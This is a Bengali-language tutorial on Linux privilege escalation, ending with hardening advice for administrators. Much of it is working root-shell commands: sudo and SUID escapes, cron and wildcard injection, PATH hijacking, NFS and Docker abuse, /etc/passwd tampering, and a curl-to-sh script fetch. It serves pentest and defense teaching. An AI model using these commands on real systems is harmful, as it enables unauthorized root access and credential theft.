Linux PrivEsc: সাধারণ ব্যবহারকারী থেকে লিনাক্স সার্ভারের রুট অ্যাক্সেস পাওয়ার পদ্ধতি!
Linux Privilege Escalation হলো একটি Low-privileged Shell থেকে Root Access অর্জনের পদ্ধতিগত আক্রমণ কৌশল।
একটি Penetration Test বা Real-world আক্রমণে Initial Access অর্জন প্রায়শই প্রথম ধাপ মাত্র। আক্রমণকারী যখন একটি Web Shell, SSH অ্যাক্সেস, বা Reverse Shell-এর মাধ্যমে কম-অধিকারপ্রাপ্ত (Low-privileged) ব্যবহারকারী হিসেবে Linux সিস্টেমে প্রবেশ করে, তখন আসল চ্যালেঞ্জ শুরু হয় - কীভাবে root হয়ে পুরো সিস্টেমের নিয়ন্ত্রণ নেওয়া যায়। এই প্রক্রিয়াকে Linux Privilege Escalation (PrivEsc) বলে। Red Team Operator, Bug Bounty Hunter, এবং CTF Player সবার জন্যই এটি একটি অপরিহার্য দক্ষতা।
এই বিস্তারিত প্রবন্ধে আমরা Linux PrivEsc-এর প্রতিটি প্রধান কৌশল নিয়ে গভীর আলোচনা করব - Kernel Exploit, SUID Binary, Sudo Misconfiguration, Cron Job, Capabilities, NFS Squashing, এবং আরও অনেক কিছু। প্রতিটি কৌশলের সাথে বাস্তব উদাহরণ এবং কীভাবে সিস্টেম এডমিনিস্ট্রেটররা এগুলো প্রতিরোধ করবেন তাও আলোচনা করা হবে।
প্রাথমিক Enumeration
PrivEsc-এর প্রথম এবং সবচেয়ে গুরুত্বপূর্ণ ধাপ হলো Enumeration। আক্রমণকারী যত বেশি তথ্য সংগ্রহ করতে পারবে, তত বেশি সম্ভাব্য Vector খুঁজে পাবে। ম্যানুয়াল Enumeration-এর কিছু গুরুত্বপূর্ণ কমান্ড:
id # Current user এবং group
whoami && hostname # Identity
uname -a # Kernel version
cat /etc/os-release # OS distribution
cat /etc/passwd # All users
sudo -l # Sudo permissions
find / -perm -4000 -type f 2>/dev/null # SUID binaries
find / -perm -2000 -type f 2>/dev/null # SGID binaries
getcap -r / 2>/dev/null # Files with capabilities
ps auxef # Running processes
crontab -l # User cron jobs
cat /etc/crontab # System cron jobs
ls -la /etc/cron.* # Cron directories
mount # Mounted filesystems
netstat -tulpn # Network connections
Automation টুল ব্যবহার করে এই কাজ দ্রুত করা যায়। LinPEAS (Linux Privilege Escalation Awesome Script) সবচেয়ে জনপ্রিয় - এটি প্রায় সমস্ত PrivEsc Vector স্বয়ংক্রিয়ভাবে স্ক্যান করে। অন্যান্য টুলের মধ্যে LinEnum, Linux Smart Enumeration (LSE), এবং GTFOBins-এর চেকার রয়েছে।
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
Kernel Exploit
Kernel Exploit হলো PrivEsc-এর সবচেয়ে শক্তিশালী কিন্তু সবচেয়ে অস্থির পদ্ধতি। Linux Kernel-এ পাওয়া Vulnerability ব্যবহার করে সরাসরি root Shell অর্জন করা যায়। বিখ্যাত Kernel Exploit-গুলোর মধ্যে রয়েছে:
- Dirty COW (CVE-2016-5195): Read-only memory mapping race condition
- Dirty Pipe (CVE-2022-0847): pipe buffer-এ data injection
- PwnKit (CVE-2021-4034): pkexec-এর Local Privilege Escalation
- OverlayFS (CVE-2023-0386): SUID Binary Copy-up Bug
- GameOver(lay) (CVE-2023-2640, CVE-2023-32629): Ubuntu-specific OverlayFS bug
প্রথমে uname -a দিয়ে Kernel ভার্সন চেক করতে হবে, তারপর সেই ভার্সনের জন্য কোন Public Exploit available সেটা খুঁজতে হবে। Exploit Database (exploit-db.com) এবং GitHub-এ অসংখ্য PoC পাওয়া যায়।
কিন্তু Kernel Exploit ব্যবহারের আগে সতর্ক থাকতে হবে - একটি ব্যর্থ Exploit সিস্টেমকে Crash করতে পারে। তাই অন্য সব Vector পরীক্ষা করে এটি শেষ অস্ত্র হিসেবে ব্যবহার করা উত্তম।
Sudo Misconfiguration
Sudo Misconfiguration সম্ভবত সবচেয়ে সাধারণ এবং সহজ PrivEsc Vector। sudo -l কমান্ড চালিয়ে দেখা যায় বর্তমান ব্যবহারকারী কী কী কমান্ড sudo দিয়ে চালাতে পারে। যদি কোনো বিপজ্জনক কমান্ড NOPASSWD অপশনে থাকে, তবে সরাসরি root হওয়া সম্ভব।
GTFOBins (https://gtfobins.github.io) হলো এই ক্ষেত্রে সবচেয়ে গুরুত্বপূর্ণ রিসোর্স। এটি একটি ক্যাটালগ যেখানে প্রায় ৩০০+ Linux Binary-র PrivEsc কৌশল ডকুমেন্ট করা আছে। উদাহরণস্বরূপ:
# যদি sudo -l দেখায় "(ALL) NOPASSWD: /usr/bin/find"
sudo find . -exec /bin/sh \; -quit
# যদি sudo দিয়ে vim চালানো যায়
sudo vim -c ':!/bin/sh'
# যদি sudo দিয়ে less চালানো যায়
sudo less /etc/passwd
# তারপর less-এর ভিতরে !sh
# যদি sudo দিয়ে awk চালানো যায়
sudo awk 'BEGIN {system("/bin/sh")}'
এমনকি দেখতে নিরীহ মনে হওয়া কমান্ড যেমন tar, zip, find, vim, nano, less, more, nmap, python, perl, ruby, node - সব GTFOBins-এ তালিকাভুক্ত। sudo নিয়ম তৈরির সময় এই বিষয়টি মাথায় রাখতে হবে।
SUID Binary Abuse
Set-UID (SUID) Binary-গুলো তাদের Owner-এর Privilege-এ চলে। যদি একটি SUID Binary root-owned হয় এবং দুর্বলতা থাকে, তবে সেটি ব্যবহার করে root Shell পাওয়া যায়।
find / -perm -4000 -type f 2>/dev/null
এই কমান্ডের আউটপুটে অস্বাভাবিক বা Custom Binary খুঁজতে হবে। আদর্শ Linux ইনস্টলেশনে যে SUID Binary থাকে সেগুলো GTFOBins-এ চেক করতে হবে। যদি nmap (পুরনো ভার্সন), find, vim, python, বা cp এর মতো বিপজ্জনক Binary SUID থাকে, তাহলে সহজেই Escalation সম্ভব।
# পুরনো nmap-এর SUID থাকলে
nmap --interactive
nmap> !sh
# cp-এর SUID থাকলে - /etc/passwd overwrite
echo 'newroot::0:0:root:/root:/bin/bash' >> /tmp/passwd
cp /tmp/passwd /etc/passwd
su newroot
Linux Capabilities
Capabilities হলো Modern Linux-এর একটি Granular Privilege System যা root-এর ক্ষমতা ছোট ছোট অংশে ভাগ করে। কিন্তু কিছু Capability নিজের মধ্যেই root-এর সমতুল্য, যেমন CAP_SYS_ADMIN, CAP_SETUID, এবং CAP_DAC_READ_SEARCH।
getcap -r / 2>/dev/null
যদি একটি Binary-তে cap_setuid+ep থাকে, তাহলে সেটি ব্যবহার করে UID 0 (root) হওয়া যায়। উদাহরণ:
# python3-এ cap_setuid থাকলে
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# perl-এ cap_setuid থাকলে
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
GTFOBins-এ "Capabilities" সেকশনে প্রতিটি Binary-র জন্য নির্দিষ্ট Capability Exploitation দেখানো আছে।
Cron Job Exploitation
Cron Jobs দিয়ে নির্ধারিত সময়ে নির্দিষ্ট কমান্ড চালানো হয়, প্রায়শই root হিসেবে। যদি একটি Cron Job এমন একটি Script চালায় যেটিতে কম-অধিকারপ্রাপ্ত ব্যবহারকারী লিখতে পারে, তাহলে সহজেই PrivEsc সম্ভব।
cat /etc/crontab
ls -la /etc/cron.daily/ /etc/cron.hourly/
যদি /etc/crontab-এ এমন একটি লাইন থাকে:
* * * * * root /opt/scripts/backup.sh
এবং /opt/scripts/backup.sh World-writable হয়, তাহলে আক্রমণকারী সেই ফাইলে Reverse Shell বা SUID Bash তৈরির কমান্ড যোগ করতে পারে।
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
# পরের Cron চলার পর
/tmp/rootbash -p
PATH-ভিত্তিক Cron Exploitation-ও সাধারণ। যদি একটি Cron Script শুধু Binary নাম দিয়ে কল করে (যেমন tar বা backup) এবং PATH-এ World-writable ডিরেক্টরি আগে থাকে, তাহলে সেখানে একটি Malicious Binary রেখে Execute করানো যায়।
PATH Hijacking
যদি একটি SUID Binary অভ্যন্তরীণভাবে অন্য একটি Binary কে Relative Path দিয়ে কল করে, তাহলে PATH Hijacking সম্ভব। উদাহরণস্বরূপ, একটি SUID program ls কে system("ls") দিয়ে কল করে।
# Malicious ls তৈরি
echo '#!/bin/bash' > /tmp/ls
echo '/bin/bash -p' >> /tmp/ls
chmod +x /tmp/ls
# PATH-এ /tmp যোগ
export PATH=/tmp:$PATH
# SUID program চালান
/path/to/vulnerable_suid
Wildcard Injection
tar, chown, chmod, rsync-এর মতো কমান্ড Wildcard * সঠিকভাবে Handle না করলে Injection সম্ভব। উদাহরণস্বরূপ, একটি Cron Job যদি চালায় tar -czf backup.tar.gz * এবং আক্রমণকারী Working Directory-তে ফাইল তৈরি করতে পারে:
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
echo '#!/bin/bash' > shell.sh
echo 'cp /bin/bash /tmp/r; chmod +s /tmp/r' >> shell.sh
chmod +x shell.sh
পরের Cron run-এ tar এই Flag গুলো Option হিসেবে পার্স করে এবং Shell.sh চালায়।
NFS no_root_squash
NFS Share যদি no_root_squash অপশন সহ Export করা থাকে, তাহলে Remote root User Local root হিসেবে কাজ করতে পারে। আক্রমণকারী নিজের মেশিন থেকে NFS Share mount করে সেখানে SUID Binary তৈরি করতে পারে যা Target-এ root হিসেবে চলবে।
# Target সার্ভারে
cat /etc/exports
# /shared *(rw,no_root_squash)
# আক্রমণকারীর মেশিনে
mkdir /mnt/nfs
mount -t nfs target:/shared /mnt/nfs
cp /bin/bash /mnt/nfs/rootbash
chmod +s /mnt/nfs/rootbash
# Target-এ
/shared/rootbash -p
Writable /etc/passwd এবং Shadow File
যদি /etc/passwd World-writable হয় (যা অস্বাভাবিক কিন্তু সম্ভব), তাহলে নতুন একটি root User যোগ করা যায়:
# পাসওয়ার্ড "password123" এর Hash তৈরি
openssl passwd -1 -salt salt password123
# /etc/passwd-এ যোগ
echo 'newroot:$1$salt$Hf6t7...:0:0:root:/root:/bin/bash' >> /etc/passwd
su newroot
Docker Group Membership
যদি বর্তমান ব্যবহারকারী docker Group-এর সদস্য হয়, তাহলে কার্যত root-এর সমতুল্য। docker Group থাকার মানে Docker Daemon-এর সাথে যোগাযোগ করা যায়, এবং Docker Container ব্যবহার করে হোস্ট ফাইল সিস্টেম মাউন্ট করা যায়:
docker run -v /:/host -it alpine chroot /host /bin/bash
এটি কার্যত পুরো হোস্ট সিস্টেমে root অ্যাক্সেস দেয়।
বাস্তব উদাহরণ: HackTheBox PrivEsc
একটি বাস্তব Scenario বিবেচনা করুন - HackTheBox-এর একটি Machine-এ Web Application-এর মাধ্যমে www-data হিসেবে Shell পাওয়া গেছে। প্রথমে LinPEAS চালিয়ে দেখা গেল /usr/bin/sudoedit-এ CVE-2021-3156 (Baron Samedit) আক্রান্ত একটি sudo ভার্সন আছে।
PoC Exploit চালিয়ে সরাসরি root Shell পাওয়া গেল। তারপর /etc/shadow থেকে অন্যান্য ব্যবহারকারীর Password Hash বের করে hashcat দিয়ে ক্র্যাক করা হলো।
প্রতিরোধ ও প্রতিকার
সিস্টেম এডমিনিস্ট্রেটরদের জন্য Linux PrivEsc প্রতিরোধে কিছু গুরুত্বপূর্ণ পদক্ষেপ। প্রথমেই Kernel এবং সব Package নিয়মিত আপডেট রাখতে হবে। প্রতি মাসে অন্তত একবার Patch Management চক্র চালাতে হবে।
sudo নিয়ম অত্যন্ত সতর্কতার সাথে তৈরি করতে হবে। NOPASSWD অপশন এড়িয়ে চলতে হবে। যদি একান্তই দিতে হয়, তবে নির্দিষ্ট Binary এবং Argument সীমিত করতে হবে। GTFOBins-এ থাকা Binary-গুলো sudo দিয়ে দেওয়া উচিত নয়।
SUID Binary নিয়মিত Audit করতে হবে। অপ্রয়োজনীয় SUID bit সরিয়ে ফেলতে হবে। যেসব Binary SUID প্রয়োজন, সেগুলো Latest Version এ রাখতে হবে।
Cron Job তৈরির সময় Absolute Path ব্যবহার করতে হবে এবং Script ফাইলের Permission সঠিকভাবে সেট করতে হবে। World-writable Script কখনোই root হিসেবে চালানো উচিত নয়।
SELinux বা AppArmor সক্ষম রাখা অপরিহার্য - এগুলো অনেক PrivEsc কৌশলকে অকার্যকর করে দিতে পারে। Mandatory Access Control এড়িয়ে যাওয়া অনেক কঠিন।
নিয়মিত Vulnerability Scan চালাতে হবে। OpenVAS, Nessus, বা Lynis দিয়ে Local Audit করতে হবে। Log Monitoring সক্ষম রেখে অস্বাভাবিক কার্যকলাপ দ্রুত শনাক্ত করতে হবে।
Linux Privilege Escalation একটি গভীর এবং বহুমুখী শিল্প যা Defender এবং Attacker উভয়ের জন্য একই গুরুত্ব বহন করে। Enumeration থেকে শুরু করে Kernel Exploit, SUID Abuse, Sudo Misconfiguration, Capabilities, Cron Jobs, এবং NFS Squashing - প্রতিটি কৌশলেরই নিজস্ব প্রেক্ষাপট রয়েছে। GTFOBins এবং HackTricks-এর মতো রিসোর্স প্রতিনিয়ত আপডেট হচ্ছে, এবং প্রতিটি Pentester-এর এই Resources-এর সাথে পরিচিতি থাকা প্রয়োজন। অন্যদিকে, সিস্টেম এডমিনিস্ট্রেটরদের জন্য Defense in Depth, Least Privilege, এবং নিয়মিত Audit-ই হলো এই ধরনের আক্রমণ থেকে রক্ষা পাওয়ার মূল মন্ত্র।
আপনার জ্ঞান যাচাই করতে প্রস্তুত? আজই HackCert-এ Linux Privilege Escalation MCQ Quiz-টি দিন!

